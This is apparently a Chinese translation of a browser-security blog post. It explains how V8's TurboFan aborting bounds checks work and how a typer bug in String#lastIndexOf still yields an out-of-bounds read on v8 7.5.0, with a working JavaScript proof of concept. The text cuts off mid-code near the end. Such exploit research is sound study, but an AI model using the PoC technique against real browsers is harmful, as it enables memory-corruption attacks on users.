绕过Chrome对类型错误的强化:利用TurboFan中的类型错误漏洞

本文探讨了Chrome中引入的中止边界检查机制,并展示了如何利用TurboFan中的类型错误漏洞绕过该机制,实现越界读写。通过详细分析优化阶段和代码生成,提供了在v8 7.5.0上的实际漏洞利用示例。

绕过Chrome对类型错误的强化

引言

一些最近的Chrome漏洞利用利用了边界检查消除(Bounds-Check-Elimination)技术,从TurboFan的类型错误(typer bug)中获取读写原语。类型错误是在代码优化过程中错误计算类型信息的漏洞。在简化降低(simplified lowering)阶段访问CheckBounds节点时,如果引擎能保证使用的索引始终在边界内,则认为CheckBounds是冗余的并移除。我在之前的文章中解释过这一点。

最近,TurboFan引入了一个变更,添加了中止边界检查。这意味着在简化降低期间,CheckBounds节点永远不会被移除。正如Mark Brand在Google Project Zero博客上的文章和tsuro在zer0con演讲中提到的,这可能对漏洞利用造成问题。

这篇短文讨论了这一强化变更,以及如何针对最新版本的v8利用类型错误。作为一个示例,我提供了一个在v8 7.5.0上工作的漏洞利用样本。

目录

  • 引言
  • 中止边界检查的引入
  • 简化降低
  • 效果线性化
  • 实验
  • 类型错误
  • 结论
  • 参考文献

中止边界检查的引入

中止边界检查由以下提交引入:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
commit 7bb6dc0e06fa158df508bc8997f0fce4e33512a5
Author: Jaroslav Sevcik <jarin@chromium.org>
Date:   Fri Feb 8 16:26:18 2019 +0100

    [turbofan] Introduce aborting bounds checks.

    Instead of eliminating bounds checks based on types, we introduce
    an aborting bounds check that crashes rather than deopts.

    Bug: v8:8806
    Change-Id: Icbd9c4554b6ad20fe4135b8622590093679dac3f
    Reviewed-on: https://chromium-review.googlesource.com/c/1460461
    Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
    Reviewed-by: Tobias Tebbi <tebbi@chromium.org>
    Cr-Commit-Position: refs/heads/master@{#59467}

简化降低

首先,变更的是simplified-lowering.cc中的CheckBounds节点访问器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) {
  CheckParameters const& p = CheckParametersOf(node->op());
  Type const index_type = TypeOf(node->InputAt(0));
  Type const length_type = TypeOf(node->InputAt(1));
  if (length_type.Is(Type::Unsigned31())) {
    if (index_type.Is(Type::Integral32OrMinusZero())) {
      // Map -0 to 0, and the values in the [-2^31,-1] range to the
      // [2^31,2^32-1] range, which will be considered out-of-bounds
      // as well, because the {length_type} is limited to Unsigned31.
      VisitBinop(node, UseInfo::TruncatingWord32(),
                 MachineRepresentation::kWord32);
      if (lower()) {
        CheckBoundsParameters::Mode mode =
            CheckBoundsParameters::kDeoptOnOutOfBounds;
        if (lowering->poisoning_level_ ==
                PoisoningMitigationLevel::kDontPoison &&
            (index_type.IsNone() || length_type.IsNone() ||
             (index_type.Min() >= 0.0 &&
              index_type.Max() < length_type.Min()))) {
          // The bounds check is redundant if we already know that
          // the index is within the bounds of [0.0, length[.
          mode = CheckBoundsParameters::kAbortOnOutOfBounds;         // [1]
        }
        NodeProperties::ChangeOp(
            node, simplified()->CheckedUint32Bounds(p.feedback(), mode)); // [2]
      }
// [...]
}

在提交之前,如果条件[1]发生,边界检查将通过调用DeferReplacement(node, node->InputAt(0));被移除。现在,发生的是节点被降低为具有AbortOnOutOfBounds模式的CheckedUint32Bounds[2]。

效果线性化

当效果控制线性化器(优化阶段之一)启动时,CheckedUint32Bounds被降低如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Node* EffectControlLinearizer::LowerCheckedUint32Bounds(Node* node,
                                                        Node* frame_state) {
  Node* index = node->InputAt(0);
  Node* limit = node->InputAt(1);
  const CheckBoundsParameters& params = CheckBoundsParametersOf(node->op());

  Node* check = __ Uint32LessThan(index, limit);
  switch (params.mode()) {
    case CheckBoundsParameters::kDeoptOnOutOfBounds:
      __ DeoptimizeIfNot(DeoptimizeReason::kOutOfBounds,
                         params.check_parameters().feedback(), check,
                         frame_state, IsSafetyCheck::kCriticalSafetyCheck);
      break;
    case CheckBoundsParameters::kAbortOnOutOfBounds: {
      auto if_abort = __ MakeDeferredLabel();
      auto done = __ MakeLabel();

      __ Branch(check, &done, &if_abort);

      __ Bind(&if_abort);
      __ Unreachable();
      __ Goto(&done);

      __ Bind(&done);
      break;
    }
  }

  return index;
}

简而言之,CheckedUint32Bounds被一个Uint32LessThan节点(加上索引和限制节点)替换。在越界的情况下,将没有去优化可能,而是会到达一个Unreachable节点。

在指令选择期间,Unreachable节点被断点操作码替换。

1
2
3
4
void InstructionSelector::VisitUnreachable(Node* node) {
  OperandGenerator g(this);
  Emit(kArchDebugBreak, g.NoOutput());
}

实验

普通行为

首先实验一些正常行为,以了解边界检查的情况。考虑以下代码:

1
2
3
4
5
6
7
8
9
var opt_me = () => {
  let arr = [1,2,3,4];
  let badly_typed = 0;
  let idx = badly_typed * 5;
  return arr[idx];
};
opt_me();
%OptimizeFunctionOnNextCall(opt_me);
opt_me();

通过这个例子,我们将观察几件事:

  • 简化降低不会像以前那样移除CheckBounds节点,
  • 该节点的降低以及它如何导致创建Unreachable节点,
  • 最终,边界检查将被完全移除(这是正确和预期的)。

CheckBounds的类型化

不出所料,在类型化阶段生成了一个CheckBounds节点,并获得了Range(0,0)的类型。

CheckBounds降低为CheckedUint32Bounds

CheckBounds节点在简化降低期间没有被移除,而是被降低为CheckedUint32Bounds。

效果线性化:CheckedUint32Bounds到Uint32LessThan与Unreachable

让我们看看效果线性化。

CheckedUint32Bounds被几个节点替换。代替这个边界检查节点,有一个Uint32LessThan节点,它要么导致LoadElement节点,要么导致Unreachable节点。

后期优化:MachineOperatorReducer和DeadCodeElimination

似乎很明显,Uint32LessThan可以被降低为常量true(Int32Constant)。在Uint32LessThan被常量节点替换的情况下,其余代码,包括Unreachable节点,将被死代码消除移除。因此,没有边界检查保留,无论尝试任何OOB访问,都不会达到断点。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// Perform constant folding and strength reduction on machine operators.
Reduction MachineOperatorReducer::Reduce(Node* node) {
  switch (node->opcode()) {
// [...]
      case IrOpcode::kUint32LessThan: {
      Uint32BinopMatcher m(node);
      if (m.left().Is(kMaxUInt32)) return ReplaceBool(false);  // M < x => false
      if (m.right().Is(0)) return ReplaceBool(false);          // x < 0 => false
      if (m.IsFoldable()) {                                    // K < K => K
        return ReplaceBool(m.left().Value() < m.right().Value());
      }
      if (m.LeftEqualsRight()) return ReplaceBool(false);  // x < x => false
      if (m.left().IsWord32Sar() && m.right().HasValue()) {
        Int32BinopMatcher mleft(m.left().node());
        if (mleft.right().HasValue()) {
          // (x >> K) < C => x < (C << K)
          // when C < (M >> K)
          const uint32_t c = m.right().Value();
          const uint32_t k = mleft.right().Value() & 0x1F;
          if (c < static_cast<uint32_t>(kMaxInt >> k)) {
            node->ReplaceInput(0, mleft.left().node());
            node->ReplaceInput(1, Uint32Constant(c << k));
            return Changed(node);
          }
          // TODO(turbofan): else the comparison is always true.
        }
      }
      break;
    }
// [...]

最终调度:不再有边界检查

为了观察生成的代码,首先看看最终调度阶段,确认最终只剩下索引0的Load。

生成的汇编代码

在这种情况下,TurboFan正确理解不需要边界检查,并简单生成了一个mov指令movq rax, [fixed_array_base + offset_to_element_0]

总结:

  • arr[good_idx]在早期阶段导致创建CheckBounds节点
  • 在“简化降低”期间,它被中止的CheckedUint32Bounds替换
  • CheckedUint32Bounds在“效果线性化”期间被几个节点替换:Uint32LessThan和Unreachable
  • Uint32LessThan在“后期优化”阶段被常量折叠
  • Unreachable节点在“后期优化”阶段的死代码消除中被移除
  • 在最终调度期间只剩下一个简单的Load
  • 生成的汇编是一个简单的mov指令,没有边界检查

类型错误

让我们考虑String#lastIndexOf错误,其中kStringIndexOf和kStringLastIndexOf的类型化不正确。计算出的类型是: Type::Range(-1.0, String::kMaxLength - 1.0, t->zone())而不是Type::Range(-1.0, String::kMaxLength, t->zone())。这是不正确的,因为String#indexOf和String#lastIndexOf都可以返回kMaxLength的值。你可以在我的github上找到更多关于这个错误的细节。

即使引入了中止边界检查,这个错误也是可利用的。所以让我们在v8 7.5上重新引入并利用它。

总结,如果我们在长度为kMaxLength的字符串上使用lastIndexOf,计算出的Range类型将是kMaxLength - 1,而它实际上是kMaxLength。

1
2
const str = "____"+"DOARE".repeat(214748359);
String.prototype.lastIndexOf.call(str, ''); // 类型化为kMaxLength-1而不是kMaxLength

然后我们可以放大这个类型错误。

1
2
3
  let badly_typed = String.prototype.lastIndexOf.call(str, '');
  badly_typed = Math.abs(Math.abs(badly_typed) + 25);
  badly_typed = badly_typed >> 30; // 类型是Range(0,0)而不是Range(1,1)

如果这一切看起来不清楚,请查看我之前的TurboFan介绍和我的github。

现在,考虑以下触发poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
SUCCESS = 0;
FAILURE = 0x42;

const str = "____"+"DOARE".repeat(214748359);

let it = 0;

var opt_me = () => {
  const OOB_OFFSET = 5;

  let badly_typed = String.prototype.lastIndexOf.call(str, '');
  badly_typed = Math.abs(Math.abs(badly_typed) + 25);
  badly_typed = badly_typed >> 30;

  let bad = badly_typed * OOB_OFFSET;
  let leak = 0;

  if (bad >= OOB_OFFSET && ++it < 0x10000) {
    leak = 0;
  }
  else {
    let arr = new Array(1.1,1.1);
    arr2 = new Array({},{});
    leak = arr[bad];
    if (leak != undefined) {
      return leak;
    }
  }
  return FAILURE;
};

let res = opt_me();
for (let i = 0; i < 0x10000; ++i)
  res = opt_me();
%DisassembleFunction(opt_me); // 在发布版本上不打印任何内容
for (let i = 0; i < 0x10000; ++i)
  res = opt_me();
print(res);
%DisassembleFunction(opt_me); // 在发布版本上不打印任何内容

检查结果:

1
2
$ d8 poc.js
1.5577100569205e-310

尽管有那些中止边界检查,它还是工作了。为什么? 行leak = arr[bad]没有导致任何CheckBounds消除,但我们没有执行任何Unreachable节点(也就是断点指令)。

元素访问的本地上下文专门化

答案在于本地上下文专门化。这是一个早期优化阶段,编译器有机会以利用其对代码执行上下文的知识的方式专门化代码。

第一个优化阶段之一是内联阶段,包括本地上下文专门化。对于元素访问,上下文专门化在JSNativeContextSpecialization::BuildElementAccess中完成。

有一个情况看起来非常有趣,当load_mode是LOAD_IGNORE_OUT_OF_BOUNDS时。

1
2
3
4
5
6
7
8
9
    } else if (load_mode == LOAD_IGNORE_OUT_OF_BOUNDS &&
               CanTreatHoleAsUndefined(receiver_maps)) {
      // Check that the {index} is a valid array index, we do the actual
      // bounds check below and just skip the store below if it's out of
      // bounds for the {receiver}.
      index = effect = graph()->NewNode(
          simplified()->CheckBounds(VectorSlotPair()), index,
          jsgraph()->Constant(Smi::kMaxValue), effect, control);
    } else {

在这种情况下,CheckBounds节点检查索引对Smi::kMaxValue的长度。

实际的边界检查节点添加如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
      if (load_mode == LOAD_IGNORE_OUT_OF_BOUNDS &&
          CanTreatHoleAsUndefined(receiver_maps)) {
        Node* check =
            graph()->NewNode(simplified()->NumberLessThan(), index, length);       // [1]
        Node* branch = graph()->NewNode(
            common()->Branch(BranchHint::kTrue,
                             IsSafetyCheck::kCriticalSafetyCheck),
            check, control);

        Node* if_true = graph()->NewNode(common()->IfTrue(), branch);              // [2]
        Node* etrue = effect;
        Node* vtrue;
        {
          // Perform the actual load
          vtrue = etrue =
              graph()->NewNode(simplified()->LoadElement(element_access),          // [3]
                               elements, index, etrue, if_true);

        // [...]
        }

      // [...]
      }

简而言之,使用这种模式:

  • CheckBounds检查索引对Smi::kMaxValue(0x7FFFFFFF),
  • 生成一个NumberLessThan节点,
  • 生成一个IfTrue节点,
  • 在“true”分支中,将有一个LoadElement节点。

NumberLessThan节点使用的长度来自先前生成的LoadField:

1
2
3
4
5
6
7
8
9
    Node* length = effect =
        receiver_is_jsarray
            ? graph()->NewNode(
                  simplified()->LoadField(
                      AccessBuilder::ForJSArrayLength(elements_kind)),
                  receiver, effect, control)
            : graph()->NewNode(
                  simplified()->LoadField(AccessBuilder::ForFixedArrayLength()),
                  elements, effect, control);

所有这些意味着TurboFan确实生成了一些边界检查节点,但由于使用了kMaxValue长度,不会有任何中止边界检查(嗯,技术上是有,但最大长度不太可能达到!)。

NumberLessThan的类型缩小和常量折叠

在类型化阶段之后,节点海洋包含一个NumberLessThan,它将一个错误类型的值与正确的数组长度进行比较。这很有趣,因为TyperNarrowingReducer将用op_typer_.singleton_true()[1]改变类型[2]。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    case IrOpcode::kNumberLessThan: {
      // TODO(turbofan) Reuse the logic from typer.cc (by integrating relational
      // comparisons with the operation typer).
      Type left_type = NodeProperties::GetType(node->InputAt(0));
      Type right_type = NodeProperties::GetType(node->InputAt(1));
      if (left_type.Is(Type::PlainNumber()) &&
          right_type.Is(Type::PlainNumber())) {
        if (left_type.Max() < right_type.Min()) {
          new_type = op_typer_.singleton_true();              // [1]
        } else if (left_type.Min() >= right_type.Max()) {
          new_type = op_typer_.singleton_false();
        }
      }   
      break;
    }   
  // [...]
  Type original_type = NodeProperties::GetType(node);
  Type restricted = Type::Intersect(new_type, original_type, zone());
  if (!original_type.Is(restricted)) {
    NodeProperties::SetType(node, restricted);                 // [2]
    return Changed(node);
  } 

多亏了这一点,ConstantFoldingReducer然后将简单地移除NumberLessThan节点并用HeapConstant节点替换它。

1
2
3
4
5
6
7
8
Reduction ConstantFoldingReducer::Reduce(Node* node) {
  DisallowHeapAccess no_heap_access;
  // Check if the output type is a singleton.  In that case we already know the
  // result value and can simply replace the node if it's eliminable.
  if (!NodeProperties::IsConstant(node) && NodeProperties::IsTyped(node) &&
      node->op()->HasProperty(Operator::kEliminatable)) {
    // TODO(v8:5303): We must not eliminate FinishRegion here. This special
    // case can be removed once we have separate operators for value and
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计